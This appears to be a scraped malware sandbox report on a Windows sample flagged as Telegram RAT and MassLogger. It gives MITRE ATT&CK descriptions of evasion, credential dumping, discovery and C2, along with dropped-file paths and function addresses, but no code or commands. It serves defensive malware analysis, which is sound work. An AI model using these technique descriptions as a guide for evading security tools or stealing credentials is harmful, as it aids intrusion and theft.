Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report v4nrZtP7K2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Ruskindsskoene.Lym

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Voltmeters.Ers54

C:\Users\user\AppData\Local\Iw\prepares.pli

C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nswBD83.tmp

Static File Info

General

File Icon

Windows Analysis Report
v4nrZtP7K2.exe

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 6FFB1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 00402032 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00401B77 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72
memoryCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre